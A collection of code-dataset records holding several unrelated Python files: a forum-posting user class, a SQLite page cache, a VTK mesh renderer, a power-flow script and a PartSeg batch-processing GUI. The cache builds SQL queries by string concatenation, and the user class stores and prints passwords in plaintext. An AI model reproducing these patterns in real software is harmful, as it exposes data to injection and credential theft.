num=5):\n\t\tself.topics.sort(reverse=True)\n\t\tfavs = []\n\t\tfor i in range(num if num <= len(self.topics) else len(self.topics)):\n\t\t\tfavs.append(self.topics[i])\n\t\treturn favs\n\n\t# def login(self, login):\n\t# \tmmb.login(self.email, self.password)\n\t\n\tdef post(self, topic_id, post_message):\n\t\turl = 'https://mmb.moneycontrol.com' + topics.get_url_from_id(topic_id)\n\t\tsuccess = mmb.post(url, post_message, self.email, self.password)\n\t\tif success: \n\t\t\tself.timestamp = time.time()\n\t\t\tself.push_topic(topic_id)\n\t\t\tself.dump()\n\t\treturn success\n\t\t\n\tdef dictify(self):\n\t\treturn {'id' : self.identifier,\n\t\t'first_name' : self.first_name,\n\t\t'last_name': self.last_name,\n\t\t'birth_date' : self.birth.timetuple()[:3],\n\t\t'nkname': self.nkname,\n\t\t'email' : self.email,\n\t\t'password' : self.password,\n\t\t'byform': self.byForm,\n\t\t'timestamp' : self.timestamp,\n\t\t'topics': self.topics,\n\t\t'init_timestamp': self.init_timestamp}\t\t\n\t\t\n\n\tdef dump(self):\n\t\twith open(users_dat_file, 'r') as users_dat:\n\t\t\tusers = json.load(users_dat)\n\t\twith open(users_dat_file, 'w') as users_dat:\n\t\t\tusers[self.identifier] = self.dictify()\n\t\t\tjson.dump(users, users_dat)\n\n\t\n\t# sorting according to timestamps\n\tdef __lt__(self, other):\n\t\treturn self.timestamp < other.timestamp\n\t\n\tdef __str__(self):\n\t\treturn(f'''\n\t\tUser: {self.identifier}\n\t\tFirst Name : {self.first_name}\n\t\tLast Name : {self.last_name}\n\t\tUser Nickname : {self.nkname}\n\t\tBirth : {self.birth}\n\t\tEmail : {self.email}\n\t\tPassword : {self.password}\n\t\tbyForm : {self.byForm}\n\t\ttimestamp : {self.timestamp}\n\t\tinit_timestamp : {self.init_timestamp}\n\t\ttop_topics : {self.get_top_topics()}\n\t\t''')\n\n\nif __name__ == '__main__':\n\tprint(User.random())\n","sub_path":"user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":3524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"76557280","text":"import time, sqlite3\nimport getURL\n\ndb_file = \"caching.db\"\n\ndef search(c, url):\n c.execute(\"SELECT url FROM cache\")\n for row in c:\n if row[0] == url:\n return False\n return True\n\ndef getAge(c, url, age=-1):\n c.execute(\"SELECT time FROM cache WHERE url='\" + url + \"'\")\n for row in c:\n age = (time.time() - int(row[0]))/(60)\n return age\n\ndef saveURL(url):\n conn = sqlite3.connect(db_file)\n c = conn.cursor()\n c.execute(\"CREATE TABLE IF NOT EXISTS cache (url, html, time)\")\n \n if search(c, url):\n html = getURL.getURL(url).replace('\"', '"').replace(\"'\", \"'\")\n insert = \"'%s','%s','%s'\" % (url, html, str(int(time.time())))\n \n c.execute(\"INSERT INTO cache VALUES (\" + insert + \")\")\n conn.commit()\n elif not search(c, url) and getAge(c, url) >= 10:\n html = getURL.getURL(url)\n c.execute(\"UPDATE cache SET html='\" + html + \"', time='\" + str(int(time.time())) + \"' WHERE url='\" + url + \"'\")\n conn.commit()\n conn.close()\n\ndef getHTML(url, html=\"\"):\n conn = sqlite3.connect(db_file)\n c = conn.cursor()\n c.execute(\"CREATE TABLE IF NOT EXISTS cache (url, html, time)\")\n \n if not search(c, url):\n c.execute(\"SELECT html FROM cache WHERE url='\" + url + \"'\")\n for row in c:\n html = row[0]\n if search(c, url):\n saveURL(url)\n html = getHTML(url)\n \n conn.close()\n return html.replace('"', '\"').replace(\"'\", \"'\")\n\ndef main():\n url = \"http://www.githubstat.us/\"\n \n start = time.time()\n #saveURL(url)\n print(getHTML(url))\n print(round(time.time() - start, 5), \"seconds\")\n\nif __name__ == '__main__':\n main()\n","sub_path":"caching.py","file_name":"caching.py","file_ext":"py","file_size_in_byte":1713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"411732085","text":"#!/usr/bin/env python\n# encoding: utf-8\n\n\"\"\"\nThis file is mainly to surface Rendering, This application contain lots of func modules like below.\n\"\"\"\n\nimport os\nimport render_common as common\nimport numpy as np\nfrom PIL import Image\nfrom vtk import vtkLight, VTK_LIGHT_TYPE_HEADLIGHT, vtkPolyDataMapper, vtkSmoothPolyDataFilter,\\\n vtkCamera, vtkRenderer, vtkRenderWindow, vtkImageData, vtkMassProperties,\\\n vtkWindowToImageFilter, vtkPNGWriter, vtkJPEGWriter, vtkBMPWriter, vtkCellPicker, vtkActor,\\\n vtkTriangleFilter, vtkRenderWindowInteractor, vtkAnnotatedCubeActor, vtkOrientationMarkerWidget,\\\n vtkDiscreteMarchingCubes\nfrom vtk.util.numpy_support import vtk_to_numpy\nfrom md.image3d.python.image3d import Image3d\n\nclass RendererMesh(object):\n \"\"\"\n Render mesh in a single window\n \"\"\"\n def __init__(self):\n \"\"\"\n constructor\n :param num_labels: the labels numbers,include background label\n if need off-screen rendering, use the function OffScreenRenderingOn()\n \"\"\"\n self.ren_win = vtkRenderWindow()\n self._render = vtkRenderer()\n self.ren_win.AddRenderer(self._render)\n self.iren = vtkRenderWindowInteractor()\n self.iren.SetRenderWindow(self.ren_win)\n\n self._camera = vtkCamera()\n self._render.SetActiveCamera(self._camera)\n\n self._light = vtkLight()\n self._light.SwitchOn()\n self._light.SetLightType(VTK_LIGHT_TYPE_HEADLIGHT)\n self._light.SetIntensity(1)\n\n self._render.AddLight(self._light)\n self._label_list = []\n\n self._bg_color = [0, 0, 0] # initialize the background color (black)\n\n self.create_orient_market()\n\n def create_orient_market(self):\n \"\"\"\n create OrientationMarkerWidget,imply the synchronization with the source data.\n :return: None\n \"\"\"\n axes_actor = vtkAnnotatedCubeActor()\n axes_actor.SetXPlusFaceText('A')\n axes_actor.SetXMinusFaceText('P')\n axes_actor.SetYMinusFaceText('R')\n axes_actor.SetYPlusFaceText('L')\n axes_actor.SetZMinusFaceText('I')\n axes_actor.SetZPlusFaceText('S')\n axes_actor.GetTextEdgesProperty().SetColor(1, 1, 0)\n axes_actor.GetTextEdgesProperty().SetLineWidth(2)\n axes_actor.GetCubeProperty().SetColor(0, 0, 1)\n self.axes = vtkOrientationMarkerWidget()\n self.axes.SetOrientationMarker(axes_actor)\n self.axes.SetInteractor(self.iren)\n self.axes.EnabledOn()\n self.axes.InteractiveOn()\n\n def get_mesh(self):\n \"\"\"\n do marchingcube practice,and store it in actor\n :param vtk_image_data: input data , type is vtkimagedata\n :param label_list: the label values\n :return:\n \"\"\"\n vtk_image_data = common.image3d_to_vtkimagedata(self._image_3d)\n for label_value in self._label_list:\n self.__get_marchingcube(vtk_image_data, label_value)\n\n def __get_marchingcube(self, vtk_image_data, value):\n \"\"\"\n do marchingcube practice,and store it in actor\n :param vtk_image_data: input data type is vtkimagedata\n :param value: label data need get surface\n :return:\n \"\"\"\n surface = vtkDiscreteMarchingCubes()\n surface.SetInputData(vtk_image_data)\n surface.SetValue(0, value)\n surface.ComputeNormalsOn()\n\n # smoothfilter = vtkSmoothPolyDataFilter()\n # smoothfilter.SetInputConnection(surface.GetOutputPort())\n # smoothfilter.SetNumberOfIterations(200)\n # smoothfilter.Update()\n\n surf_mapper = vtkPolyDataMapper()\n surf_mapper.SetInputConnection(surface.GetOutputPort())\n surf_mapper.ScalarVisibilityOff()\n actor = vtkActor()\n actor.SetMapper(surf_mapper)\n self._render.AddActor(actor)\n\n # def smooth_mesh(self):\n # \"\"\"\n # smooth meshs\n # :return:\n # \"\"\"\n # for label_value in self._label_list:\n # self.__smooth_mesh(label_value)\n\n # def __smooth_mesh(self, value):\n # \"\"\"\n # smooth the single mesh\n # :param value: label value\n # :param idx: label index\n # :return:\n # \"\"\"\n # print(self._label_list)\n # index_value = self._label_list.index(value)\n # actor_collection = self._render.GetActors()\n # actor_collection.InitTraversal()\n # actor = vtkActor()\n # for idx in range(index_value + 1):\n # actor = actor_collection.GetNextActor()\n #\n # smoothfilter = vtkSmoothPolyDataFilter()\n # smoothfilter.SetInputConnection(actor.GetMapper().GetInputPort())\n # smoothfilter.SetNumberOfIterations(200)\n # smoothfilter.Update()\n #\n # surf_mapper = vtkPolyDataMapper()\n # surf_mapper.SetInputConnection(smoothfilter.GetOutputPort())\n # actor.SetMapper(surf_mapper)\n\n def set_label_list(self, label_list):\n \"\"\"\n set/get label list.recode which labels are exist in property lut.\n :param label_list: label list\n :return:None\n \"\"\"\n self._label_list = label_list\n\n def get_label_list(self):\n \"\"\"\n set/get label list.recode which labels are exist in property lut.\n :return: label list\n \"\"\"\n return self._label_list\n\n def set_vtk_volume(self, vtk_image_data):\n \"\"\"\n :param vtk_image_data: input a vtkimagedata as source data\n :return: None\n \"\"\"\n if isinstance(vtk_image_data, vtkImageData):\n image_3d = common.vtkimagedata_to_image3d(vtk_image_data)\n self._image_3d = image_3d\n else:\n raise Exception(\"input data should be vtkImageData type\")\n\n def set_volume(self, image_3d):\n \"\"\"\n :param image_3d: input a image3d data as source data\n :return: None\n \"\"\"\n if isinstance(image_3d, Image3d):\n self._image_3d = image_3d\n else:\n raise Exception(\"input data should be Image3d type\")\n\n def __pre_render(self):\n \"\"\"\n do some things before render\n :return: None\n \"\"\"\n pass\n\n def render(self):\n \"\"\"\n render the vtkwindow\n :return:None\n \"\"\"\n common.logging.info(\"Render Begin!\")\n try:\n self.__pre_render()\n self.ren_win.Render()\n self.__post_render()\n except BaseException as e:\n common.logging.error(\"Exception:\" + str(e))\n common.logging.info(\"Render End!\")\n\n def __post_render(self):\n \"\"\"\n do some things after render\n :return: None\n \"\"\"\n pass\n\n def set_lut_property(self, property, label):\n \"\"\"\n set lut property.\n :param property: lut property dict\n :param label: the idx of lut property\n :return: None\n \"\"\"\n\n index_value = self._label_list.index(label)\n actor_collection = self._render.GetActors()\n actor_collection.InitTraversal()\n actor = vtkActor()\n for idx in range(index_value + 1):\n actor = actor_collection.GetNextActor()\n actor.GetProperty().SetColor(property[\"color\"][4 * index_value + 1] / 255,\n property[\"color\"][4 * index_value + 2] / 255,\n property[\"color\"][4 * index_value + 3] / 255)\n actor.GetProperty().SetOpacity(property[\"opacity\"][2 * index_value + 1])\n # actor.GetProperty().SetRepresentationToPoints()\n # actor.GetProperty().SetRepresentationToWireframe()\n actor.GetProperty().SetRepresentationToSurface()\n actor.GetProperty().SetInterpolation(2) # default VTK_GOURAUD\n\n def get_lut_property(self, label):\n \"\"\"\n get lut property\n :param label: the index of lut_property\n :return:\n \"\"\"\n index_value = self._label_list.index(label)\n actor_collection = self._render.GetActors()\n actor_collection.InitTraversal()\n actor = vtkActor()\n for idx in range(index_value + 1):\n actor = actor_collection.GetNextActor()\n color = actor.GetProperty().GetColor()\n opacity = actor.GetProperty().GetOpacity()\n lut_property = dict()\n lut_property[\"color\"] = color\n lut_property[\"opacity\"] = opacity\n\n return lut_property\n\n def set_bg_color(self, bg_color=(0., 0., 0.)):\n \"\"\"\n set/get background color\n :param bg_color: background color\n :return: None\n \"\"\"\n self._bg_color = bg_color\n self._render.SetBackground(self._bg_color)\n\n def set_camera(self, camera):\n \"\"\"\n set/get camera parameters\n :param camera: camera parameters\n :return:None\n \"\"\"\n self._camera.DeepCopy(camera)\n\n def get_camera(self):\n \"\"\"\n set/get camera parameters\n :return: None\n \"\"\"\n return self._render.GetActiveCamera()\n\n def reset_camera(self):\n \"\"\" reset camera parameters based on visible actors \"\"\"\n self._render.ResetCamera()\n\n def get_render(self):\n \"\"\"\n set/get camera parameters\n :return: None\n \"\"\"\n return self._render\n\n def get_output_to_pic(self, save_path):\n \"\"\"\n save window data to picture type\n :param save_path:file save location\n :return:None\n \"\"\"\n try:\n filter = vtkWindowToImageFilter()\n filter.SetInput(self.ren_win)\n filter.SetInputBufferTypeToRGB()\n filter.Update()\n file_type = os.path.basename(save_path).split(\".\")[-1]\n if file_type.lower() == 'png':\n screenwriter = vtkPNGWriter()\n screenwriter.SetInputData(filter.GetOutput())\n elif file_type.lower() == 'jpg' or file_type.lower() == 'jpeg':\n screenwriter = vtkJPEGWriter()\n screenwriter.SetInputConnection(filter.GetOutputPort())\n elif file_type.lower() == 'bmp':\n screenwriter = vtkBMPWriter()\n screenwriter.SetInputConnection(filter.GetOutputPort())\n else:\n raise ValueError('Unsupport file type')\n except BaseException as e:\n common.logging.error(\"please render the window first!:Exception\" + str(e))\n\n screenwriter.SetFileName(save_path)\n screenwriter.Write()\n\n def get_output_image_result(self):\n \"\"\"\n save window data to numpy.ndarray\n :return: numpy.ndarray data\n \"\"\"\n try:\n filter = vtkWindowToImageFilter()\n filter.Update()\n filter.SetInput(self.ren_win)\n filter.Update()\n image_data = filter.GetOutput()\n width, height, _ = image_data.GetDimensions()\n vtk_arr = image_data.GetPointData().GetScalars() # unsigned char\n components = vtk_arr.GetNumberOfComponents()\n array = vtk_to_numpy(vtk_arr).reshape(width, height, components)\n img = Image.fromarray(array)\n out_img = img.transpose(Image.FLIP_TOP_BOTTOM)\n array = np.asarray(out_img)\n return array\n except BaseException as e:\n common.logging.error(\"please render the window first!:Exception\" + str(e))\n return None\n\n def set_output_image_size(self, width=512, height=512):\n \"\"\"\n set/get output image size\n :param width: output image width\n :param height: output image height\n :return: None\n \"\"\"\n self.ren_win.SetSize(width, height)\n\n def get_output_image_size(self):\n \"\"\"\n set/get output image size\n :return: image size;[width,height]\n \"\"\"\n size = self.ren_win.GetSize()\n return size\n\n def set_output_type(self, dtype):\n \"\"\"\n set output type, include VTK_RGB,VTK_RGBA,VTK_ZBUFFER.default type is VTK_RGB.\n :param dtype: data type index\n :return: None\n \"\"\"\n self.window_to_image_filter.SetInputBufferType(dtype)\n\n def point_to_label(self, click_pos):\n \"\"\"\n get the clicked position corresponding label index\n :param click_pos: clicked position on screen\n :return:label index\n \"\"\"\n picker = vtkCellPicker()\n picker.Pick(click_pos[0], click_pos[1], 0, self._render)\n actor_collection = self._render.GetActors()\n actor_collection.InitTraversal()\n if picker.GetCellId() != -1:\n # if CellId != -1, mouse click on mesh\n pick_actor = picker.GetActor()\n for label_idx in range(actor_collection.GetNumberOfItems()):\n actor = actor_collection.GetNextItem()\n if pick_actor == actor:\n return label_idx + 1\n else:\n pass\n else:\n # if CellId = -1, mouse click on background\n common.logging.info(\"please click in foreground area!\")\n\n return None\n\n def hide_label(self, label):\n \"\"\"\n hind labels in render window\n :param label: hide surface of label, and show other label's surface\n :return:None\n \"\"\"\n actor_collection = self._render.GetActors()\n actor_collection.InitTraversal()\n dst_actor = vtkActor()\n for idx in range(label):\n dst_actor = actor_collection.GetNextItem()\n dst_actor.GetProperty().SetOpacity(0.0)\n\n def show_label(self, label):\n \"\"\"\n show labels in render window\n :param label: show surface of label, and hide other surfaces of label\n :return:None\n \"\"\"\n actor_collection = self._render.GetActors()\n actor_collection.InitTraversal()\n for idx in range(actor_collection.GetNumberOfItems()):\n actor = actor_collection.GetNextItem()\n if idx != label - 1:\n actor.GetProperty().SetOpacity(0.0)\n\n def cal_area(self, label):\n \"\"\"\n caculate the label surface area\n :param label: label index\n :return: area of label surface\n \"\"\"\n actor_collection = self._render.GetActors()\n actor_collection.InitTraversal()\n actor = vtkActor()\n for idx in range(label):\n actor = actor_collection.GetNextItem()\n\n poly_data = actor.GetMapper().GetInput()\n\n trianglefileter = vtkTriangleFilter()\n trianglefileter.SetInputData(poly_data)\n trianglefileter.Update()\n\n polygon_property = vtkMassProperties()\n polygon_property.SetInputData(trianglefileter.GetOutput())\n polygon_property.Update()\n\n area = polygon_property.GetSurfaceArea()\n\n return area\n\n","sub_path":"visualization/render_mesh.py","file_name":"render_mesh.py","file_ext":"py","file_size_in_byte":14806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"252169507","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jan 5 15:52:16 2020\n\n@author: ignac\n\"\"\"\nimport pf as pf\nimport numpy as np\nimport loaddata as ld \n\n\nB,G = pf.createBG()\nv,theta = pf.init_variables()\n\nfilename='data_3_bus.xlsx'\nGENDATA,DEMDATA,LINDATA,STODATA = ld.loadsystemdata(filename)\n\n# Pesp = GENDATA[:,1]\n# Qesp = GENDATA[:,2]\n\n\n\n# Pcalc = 3*[0]\n# Qcalc = 3*[0]\n\nPesp = np.array([200,250])\nQesp = np.array([0])\n\nYesp = np.array([200,250,0])\nYcalc = np.array([0,0,0])\n\nXk = np.array([0,0,1])\nXk1 = np.array([0,0,0])\n\nxP = [1,2]\nxdelta = [2]\n\nnodes_slack = [0]\nnodes_PV = [1]\nnodes_PQ = [2]\n\ndef updateV(v, nodes_slack,nodes_PV,nodes_PQ,Xk,xP,xdelta):\n numnodespv = len(xP)\n # numnodespq = len(xdelta)\n for i in nodes_slack:\n v[i] = 1\n for i in nodes_PV:\n v[i] = 1.02\n for i in range(len(nodes_PQ)):\n v[nodes_PQ[i]] = Xk[numnodespv+i]\n return v\n \n\ndef updateTheta(theta, nodes_slack,nodes_PV,nodes_PQ,Xk,xP,xdelta):\n # numnodespv = len(xP)\n numnodespq = len(xdelta)\n for i in nodes_slack:\n theta[i] = 0\n for i in range(len(nodes_PV)):\n theta[nodes_PV[i]] = Xk[i]\n for i in range(len(nodes_PQ)):\n theta[nodes_PQ[i]] = Xk[numnodespq+i]\n return theta\n\n\nPQesp = np.array([200,250,0])/100\nPQcalc = np.array([0,0,0])/100\n\n\nJ = np.ndarray((3,3))\n\nMAXITER = 5\nit=0\nepsilon = 0.01\nmaxdif = 10000\n\n\nwhile((itepsilon)):\n print('Iteracion',it)\n J = pf.updateJacobian(J, xP, xdelta, v,theta,B,G)\n dPQ = J.dot(Xk)\n # print('Iteración',it)\n # print('Pesp - Pcalc = ',dx)\n print('Pcalc = ',PQcalc)\n print('dPQ',dPQ)\n maxdif = max(abs(dPQ))\n PQcalc = PQesp - dPQ\n Xk1 = Xk - np.linalg.inv(J).dot(dPQ)\n Xk = Xk1\n v = updateV(v,nodes_slack,nodes_PV,nodes_PQ,Xk,xP,xdelta)\n theta = updateTheta(theta,nodes_slack,nodes_PV,nodes_PQ,Xk,xP,xdelta)\n it=it+1\n \n \nprint('Voltages',v)\nprint('theta',theta)","sub_path":"runpf.py","file_name":"runpf.py","file_ext":"py","file_size_in_byte":1927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"446160424","text":"import logging\nimport multiprocessing\nimport os\nimport typing\nfrom contextlib import suppress\nfrom io import BytesIO\nfrom pathlib import Path\nfrom pickle import PicklingError # nosec\n\nimport numpy as np\nimport sentry_sdk\nfrom qtpy.QtCore import QByteArray, Qt, QTimer\nfrom qtpy.QtGui import QIcon, QStandardItem, QStandardItemModel\nfrom qtpy.QtWidgets import (\n QCheckBox,\n QDialog,\n QFileDialog,\n QGridLayout,\n QHBoxLayout,\n QLabel,\n QLineEdit,\n QListView,\n QListWidgetItem,\n QMessageBox,\n QProgressBar,\n QPushButton,\n QSpinBox,\n QTabWidget,\n QTreeWidget,\n QTreeWidgetItem,\n QVBoxLayout,\n QWidget,\n)\n\nfrom PartSeg import parsed_version, state_store\nfrom PartSeg._roi_analysis.export_batch import ExportProjectDialog\nfrom PartSeg._roi_analysis.partseg_settings import PartSettings\nfrom PartSeg._roi_analysis.prepare_plan_widget import CalculatePlaner\nfrom PartSeg.common_backend.base_settings import IO_SAVE_DIRECTORY\nfrom PartSeg.common_gui.custom_save_dialog import PSaveDialog\nfrom PartSeg.common_gui.error_report import ExceptionList, ExceptionListItem\nfrom PartSeg.common_gui.searchable_combo_box import SearchComboBox\nfrom PartSeg.common_gui.select_multiple_files import AddFiles\nfrom PartSeg.common_gui.universal_gui_part import Spacing, right_label\nfrom PartSegCore.algorithm_describe_base import AlgorithmProperty\nfrom PartSegCore.analysis.batch_processing.batch_backend import CalculationManager\nfrom PartSegCore.analysis.calculation_plan import Calculation, CalculationPlan, MaskFile\nfrom PartSegCore.io_utils import SaveBase\nfrom PartSegCore.segmentation.algorithm_base import SegmentationLimitException\nfrom PartSegCore.universal_const import Units\nfrom PartSegData import icons_dir\n\n__author__ = \"Grzegorz Bokota\"\n\n\nclass SaveExcel(SaveBase):\n @classmethod\n def get_short_name(cls):\n return \"excel\"\n\n @classmethod\n def save(\n cls,\n save_location: typing.Union[str, BytesIO, Path],\n project_info,\n parameters: dict,\n range_changed=None,\n step_changed=None,\n ):\n \"\"\"empty function to satisfy interface\"\"\"\n\n @classmethod\n def get_name(cls) -> str:\n return \"Excel (*.xlsx)\"\n\n @classmethod\n def get_fields(cls) -> typing.List[typing.Union[AlgorithmProperty, str]]:\n return []\n\n\nclass ProgressView(QWidget):\n \"\"\"\n :type batch_manager: CalculationManager\n \"\"\"\n\n def __init__(self, parent, batch_manager):\n super().__init__(parent)\n self.task_count = 0\n self.calculation_manager = batch_manager\n self.whole_progress = QProgressBar(self)\n self.whole_progress.setMinimum(0)\n self.whole_progress.setMaximum(1)\n self.whole_progress.setFormat(\"%v of %m\")\n self.whole_progress.setTextVisible(True)\n self.part_progress = QProgressBar(self)\n self.part_progress.setMinimum(0)\n self.part_progress.setMaximum(1)\n self.part_progress.setFormat(\"%v of %m\")\n self.whole_label = QLabel(\"All batch progress:\", self)\n self.part_label = QLabel(\"Single batch progress:\", self)\n self.cancel_remove_btn = QPushButton(\"Remove task\")\n self.cancel_remove_btn.setDisabled(True)\n self.logs = ExceptionList(self)\n self.logs.setToolTip(\"Logs\")\n self.task_view = QListView()\n self.task_que = QStandardItemModel(self)\n self.task_view.setModel(self.task_que)\n self.process_num_timer = QTimer()\n self.process_num_timer.setInterval(1000)\n self.process_num_timer.setSingleShot(True)\n self.process_num_timer.timeout.connect(self.change_number_of_workers)\n self.number_of_process = QSpinBox(self)\n self.number_of_process.setRange(1, multiprocessing.cpu_count())\n self.number_of_process.setValue(1)\n self.number_of_process.setToolTip(\"Number of process used in batch calculation\")\n self.number_of_process.valueChanged.connect(self.process_num_timer_start)\n self.progress_item_dict = {}\n self.setup_ui()\n self.preview_timer = QTimer()\n self.preview_timer.setInterval(1000)\n self.preview_timer.timeout.connect(self.update_info)\n self.task_view.selectionModel().currentChanged.connect(self.task_selection_change)\n self.cancel_remove_btn.clicked.connect(self.task_cancel_remove)\n\n def setup_ui(self):\n layout = QGridLayout()\n layout.addWidget(self.whole_label, 0, 0, Qt.AlignmentFlag.AlignRight)\n layout.addWidget(self.whole_progress, 0, 1, 1, 2)\n layout.addWidget(self.part_label, 1, 0, Qt.AlignmentFlag.AlignRight)\n layout.addWidget(self.part_progress, 1, 1, 1, 2)\n lab = QLabel(\"Number of process:\")\n lab.setToolTip(\"Number of process used in batch calculation\")\n layout.addWidget(lab, 2, 0)\n layout.addWidget(self.number_of_process, 2, 1)\n layout.addWidget(self.logs, 3, 0, 2, 3)\n layout.addWidget(self.task_view, 0, 4, 4, 1)\n layout.addWidget(self.cancel_remove_btn, 4, 4, 1, 1)\n layout.setColumnMinimumWidth(2, 10)\n layout.setColumnStretch(2, 1)\n self.setLayout(layout)\n\n def task_selection_change(self, new, old):\n task: CalculationProcessItem = self.task_que.item(new.row(), new.column())\n if task is None:\n self.cancel_remove_btn.setDisabled(True)\n return\n self.cancel_remove_btn.setEnabled(True)\n if task.is_finished():\n self.cancel_remove_btn.setText(f\"Remove task {task.num}\")\n else:\n self.cancel_remove_btn.setText(f\"Cancel task {task.num}\")\n\n def task_cancel_remove(self):\n index = self.task_view.selectionModel().currentIndex()\n task: CalculationProcessItem = typing.cast(\n CalculationProcessItem, self.task_que.item(index.row(), index.column())\n )\n if task.is_finished():\n self.calculation_manager.remove_calculation(task.calculation)\n else:\n self.calculation_manager.cancel_calculation(task.calculation)\n self.task_que.takeRow(index.row())\n print(task)\n\n def new_task(self):\n self.whole_progress.setMaximum(self.calculation_manager.calculation_size)\n if not self.preview_timer.isActive():\n self.update_info()\n self.preview_timer.start()\n\n def update_info(self):\n res = self.calculation_manager.get_results()\n for el in res.errors:\n if el[0]:\n QListWidgetItem(el[0], self.logs)\n ExceptionListItem(el[1], self.logs)\n if (\n state_store.report_errors\n and parsed_version.is_devrelease\n and not isinstance(el[1][0], SegmentationLimitException)\n and isinstance(el[1][1], tuple)\n ):\n with sentry_sdk.push_scope() as scope:\n scope.set_tag(\"auto_report\", \"true\")\n sentry_sdk.capture_event(el[1][1][0])\n self.whole_progress.setValue(res.global_counter)\n working_search = True\n for uuid, progress in res.jobs_status.items():\n calculation = self.calculation_manager.calculation_dict[uuid]\n total = len(calculation.file_list)\n if uuid in self.progress_item_dict:\n item = self.progress_item_dict[uuid]\n item.update_count(progress)\n else:\n item = CalculationProcessItem(calculation, self.task_count, progress)\n self.task_count += 1\n self.task_que.appendRow(item)\n self.progress_item_dict[uuid] = item\n\n if working_search and progress != total:\n self.part_progress.setMaximum(total)\n self.part_progress.setValue(progress)\n working_search = False\n if not self.calculation_manager.has_work:\n self.part_progress.setValue(self.part_progress.maximum())\n self.preview_timer.stop()\n logging.info(\"Progress stop\")\n\n def process_num_timer_start(self):\n self.process_num_timer.start()\n\n def update_progress(self, total_progress, part_progress):\n self.whole_progress.setValue(total_progress)\n self.part_progress.setValue(part_progress)\n\n def set_total_size(self, size):\n self.whole_progress.setMaximum(size)\n\n def set_part_size(self, size):\n self.part_progress.setMaximum(size)\n\n def change_number_of_workers(self):\n self.calculation_manager.set_number_of_workers(self.number_of_process.value())\n\n\nclass FileChoose(QWidget):\n \"\"\"\n :type batch_manager: CalculationManager\n \"\"\"\n\n def __init__(self, settings: PartSettings, batch_manager, parent=None):\n super().__init__(parent)\n self.files_to_proceed = set()\n self.settings = settings\n self.batch_manager = batch_manager\n self.files_widget = AddFiles(settings, self)\n self.progress = ProgressView(self, batch_manager)\n self.run_button = QPushButton(\"Process\")\n self.run_button.setDisabled(True)\n self.calculation_choose = SearchComboBox()\n self.calculation_choose.addItem(\"\")\n self.calculation_choose.currentTextChanged.connect(self.change_situation)\n self.result_file = QLineEdit(self)\n self.result_file.setAlignment(Qt.AlignmentFlag.AlignRight)\n self.result_file.setReadOnly(True)\n self.choose_result = QPushButton(\"Save result as\", self)\n self.choose_result.clicked.connect(self.choose_result_file)\n self.export_data_button = QPushButton(\"Export batch with data\", self)\n self.export_data_button.clicked.connect(self.export_data)\n\n self.run_button.clicked.connect(self.prepare_calculation)\n self.files_widget.file_list_changed.connect(self.change_situation)\n self.settings.batch_plans_changed.connect(self._refresh_batch_list)\n\n layout = QVBoxLayout()\n layout.addWidget(self.files_widget)\n calc_layout = QHBoxLayout()\n calc_layout.addWidget(QLabel(\"Batch workflow:\"))\n calc_layout.addWidget(self.calculation_choose)\n calc_layout.addWidget(self.result_file)\n calc_layout.addWidget(self.choose_result)\n calc_layout.addWidget(self.export_data_button)\n calc_layout.addStretch()\n calc_layout.addWidget(self.run_button)\n layout.addLayout(calc_layout)\n layout.addWidget(self.progress)\n self.setLayout(layout)\n\n self._refresh_batch_list()\n\n def export_data(self):\n dialog = ExportProjectDialog(self.result_file.text(), self.files_widget.paths_input.text(), self.settings, self)\n dialog.exec_()\n\n def prepare_calculation(self):\n plan = self.settings.batch_plans[str(self.calculation_choose.currentText())]\n dial = CalculationPrepare(\n self.files_widget.get_paths(), plan, str(self.result_file.text()), self.settings, self.batch_manager\n )\n if dial.exec_():\n try:\n self.batch_manager.add_calculation(dial.get_data())\n self.progress.new_task()\n except PicklingError as e: # pragma: no cover\n if state_store.develop:\n QMessageBox.critical(self, \"Pickle error\", \"Please restart PartSeg.\")\n else:\n raise e\n\n def _refresh_batch_list(self):\n current_calc = str(self.calculation_choose.currentText())\n new_list = [\"\", *sorted(self.settings.batch_plans.keys())]\n try:\n index = new_list.index(current_calc)\n except ValueError:\n index = 0\n self.calculation_choose.clear()\n self.calculation_choose.addItems(new_list)\n self.calculation_choose.setCurrentIndex(index)\n\n def change_situation(self):\n if (\n str(self.calculation_choose.currentText()) == \"\"\n or len(self.files_widget.files_to_proceed) == 0\n or not str(self.result_file.text())\n ):\n self.run_button.setDisabled(True)\n\n else:\n self.run_button.setEnabled(True)\n if self.calculation_choose.currentText() in self.settings.batch_plans:\n plan = self.settings.batch_plans[str(self.calculation_choose.currentText())]\n self.files_widget.mask_list = plan.get_list_file_mask()\n else:\n self.files_widget.mask_list = []\n\n def choose_result_file(self):\n dial = PSaveDialog(SaveExcel, system_widget=False, settings=self.settings, path=IO_SAVE_DIRECTORY)\n if dial.exec_():\n file_path = str(dial.selectedFiles()[0])\n if not os.path.splitext(file_path)[1]:\n file_path += \".xlsx\"\n self.result_file.setText(file_path)\n self.change_situation()\n\n\nclass BatchWindow(QTabWidget):\n \"\"\"\n :type settings: PartSettings\n \"\"\"\n\n def __init__(self, settings, parent=None):\n super().__init__(parent)\n self.setWindowTitle(\"Batch processing\")\n self.settings = settings\n self.batch_manager = CalculationManager()\n self.file_choose = FileChoose(self.settings, self.batch_manager, self)\n self.calculate_planer = CalculatePlaner(self.settings, self)\n self.addTab(self.calculate_planer, \"Prepare workflow\")\n self.addTab(self.file_choose, \"Input files\")\n self.working = False\n with suppress(KeyError):\n geometry = self.settings.get_from_profile(\"batch_window_geometry\")\n self.restoreGeometry(QByteArray.fromHex(bytes(geometry, \"ascii\")))\n\n def focusInEvent(self, event):\n self.calculate_planer.showEvent(event)\n\n def is_working(self):\n return self.working\n\n def terminate(self):\n self.batch_manager.writer.finish()\n self.working = False\n\n def closeEvent(self, event):\n if self.is_working():\n ret = QMessageBox.warning(\n self,\n \"Batch work\",\n \"Batch work is not finished. Would you like to terminate it?\",\n QMessageBox.StandardButton.No | QMessageBox.StandardButton.Yes,\n )\n if ret == QMessageBox.StandardButton.Yes:\n self.terminate()\n else:\n event.ignore()\n 